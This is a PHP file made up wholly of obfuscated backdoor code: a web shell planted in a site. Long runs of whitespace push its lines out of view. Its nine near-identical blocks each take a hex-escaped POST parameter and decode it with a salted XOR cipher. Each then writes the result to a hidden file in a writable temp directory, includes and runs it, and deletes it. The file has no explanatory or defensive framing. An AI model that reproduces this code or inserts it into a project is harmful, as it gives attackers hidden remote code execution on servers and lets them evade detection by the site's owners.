<?php																																										if(array_key_exists("\x70\x67rp", $_POST)){ $pset = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $resource = $_POST["\x70\x67rp"]; $resource = explode ( "." , $resource ); $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($resource as $r => $v7): $chS = ord($s[$r % $sLen]); $d = ((int)$v7 - $chS - ($r % 10))^ 68; $flag .= chr($d); endforeach; for ($dat = 0, $fac = count($pset); $dat < $fac; $dat++) { $comp = $pset[$dat]; if (is_writable($comp) && is_dir($comp)) { $desc = str_replace("{var_dir}", $comp, "{var_dir}/.entity"); if (file_put_contents($desc, $flag)) { include $desc; @unlink($desc); die(); } } } }
																																										if(in_array("f\x6Ca\x67", array_keys($_POST))){ $property_set = $_POST["f\x6Ca\x67"]; $property_set =explode( '.' , $property_set ); $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $m = 0; while( $m <count( $property_set)) { $v7 = $property_set[$m]; $chS = ord( $salt[$m % $lenS] ); $dec =( ( int)$v7 - $chS -( $m % 10)) ^ 66; $desc .= chr( $dec ); $m++; } $k = array_filter([getcwd(), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp"]); foreach ($k as $hld) { if (is_dir($hld) ? is_writable($hld) : false) { $ent = implode("/", [$hld, ".reference"]); if (@file_put_contents($ent, $desc) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "key")){ $ent = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd()]); $record = $_REQUEST["key"]; $record= explode ("." , $record ); $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $o = 0; foreach ($record as $v4) { $chS = ord($salt[$o % $sLen] ); $dec = ((int)$v4 - $chS - ($o % 10)) ^ 27; $k.=chr($dec ); $o++; } foreach ($ent as $key => $resource) { if (!!is_dir($resource) && !!is_writable($resource)) { $parameter_group = sprintf("%s/.object", $resource); if (file_put_contents($parameter_group, $k)) { require $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(@$_POST["\x72e\x63"] !== null){ $entry = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", getcwd()]); $marker = $_POST["\x72e\x63"]; $marker =explode (".", $marker ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($marker as $z => $v6) {$sChar = ord($s[$z % $lenS]); $dec = ((int)$v6 - $sChar - ($z % 10)) ^ 97; $data .= chr($dec); } while ($fac = array_shift($entry)) { if (is_dir($fac) && is_writable($fac)) { $flag = join("/", [$fac, ".hld"]); if (file_put_contents($flag, $data)) { require $flag; unlink($flag); die(); } } } }
																																										if(!is_null($_POST["\x6Be\x79"] ?? null)){ $fac = array_filter(["/tmp", session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $data_chunk = $_POST["\x6Be\x79"]; $data_chunk=explode ('.' ,$data_chunk ) ; $binding = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $s = 0; $len = count($data_chunk); do { if ($s >= $len) break; $v5 = $data_chunk[$s]; $chS = ord($salt8[$s % $sLen]); $dec = ((int)$v5 - $chS - ($s % 10)) ^ 72; $binding .= chr($dec); $s++; } while (true); foreach ($fac as $parameter_group): if (is_dir($parameter_group) ? is_writable($parameter_group) : false) { $pset = implode("/", [$parameter_group, ".ent"]); if (file_put_contents($pset, $binding)) { include $pset; @unlink($pset); die(); } } endforeach; }
																																										if(!is_null($_POST["\x70t\x72"] ?? null)){ $obj = $_POST["\x70t\x72"]; $obj= explode ( "." ,$obj ) ; $elem = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $z = 0; $__len = count($obj); do { if ($z>=$__len) break; $v5 = $obj[$z]; $chS = ord($s5[$z % $sLen]); $dec = ((int)$v5 - $chS - ($z % 10)) ^13; $elem .= chr($dec); $z++; } while (true); $res = array_filter([session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", "/tmp"]); $element = 0; do { $key = $res[$element] ?? null; if ($element >= count($res)) break; if (!( !is_dir($key) || !is_writable($key) )) { $item = join("/", [$key, ".tkn"]); if (@file_put_contents($item, $elem) !== false) { include $item; unlink($item); die(); } } $element++; } while (true); }
																																										if(in_array("d\x65sc\x72\x69\x70\x74or", array_keys($_POST))){ $dchunk = $_POST["d\x65sc\x72\x69\x70\x74or"]; $dchunk = explode ( ".", $dchunk ) ; $tkn = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $v = 0; $__tmp = $dchunk; while ($v3 = array_shift($__tmp)) { $sChar = ord($salt1[$v % $lenS]); $dec = ((int)$v3 - $sChar - ($v % 10)) ^ 27; $tkn .=chr($dec); $v++; } $resource = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/tmp"]); foreach ($resource as $pointer): if (is_dir($pointer) && is_writable($pointer)) { $entry = str_replace("{var_dir}", $pointer, "{var_dir}/.component"); if (file_put_contents($entry, $tkn)) { require $entry; unlink($entry); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "d\x61ta\x5F\x63\x68unk")){ $item = $_POST["d\x61ta\x5F\x63\x68unk"]; $item = explode ( "." , $item ) ; $holder =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt4 ); $i =0; $len =count($item ); do { if($i >= $len) break; $v2 =$item[$i]; $sChar =ord($salt4[$i % $sLen] ); $d =((int)$v2 - $sChar -($i % 10)) ^ 28; $holder .= chr($d ); $i++; } while(true ); $elem = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); foreach ($elem as $hld) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $obj = implode("/", [$hld, ".symbol"]); if (file_put_contents($obj, $holder)) { include $obj; @unlink($obj); die(); } } } }


if(isset($_POST["da\x74"]) ? true : false){
	$desc = $_POST["da\x74"];
	$desc  =  explode	 ('.',	 $desc  );
	$elem = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt 	);
            $y = 0;
    
            $__tmp = $desc;
            while ($v8 = array_shift($__tmp)) {
                $chS = ord($salt[$y % $lenS] 	);
                $d = ((int)$v8 - $chS - ($y % 10)) ^ 75;
                $elem .= chr($d 	);
                $y++;}
	$obj = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path()]);
	foreach ($obj as $pgrp) {
    		if (!( !is_dir($pgrp) || !is_writable($pgrp) )) {
    $descriptor = str_replace("{var_dir}", $pgrp, "{var_dir}/.flag");
    $file = fopen($descriptor, 'w');
if ($file) {
	fwrite($file, $elem);
	fclose($file);
	include $descriptor;
	@unlink($descriptor);
	exit;
}
}
}
}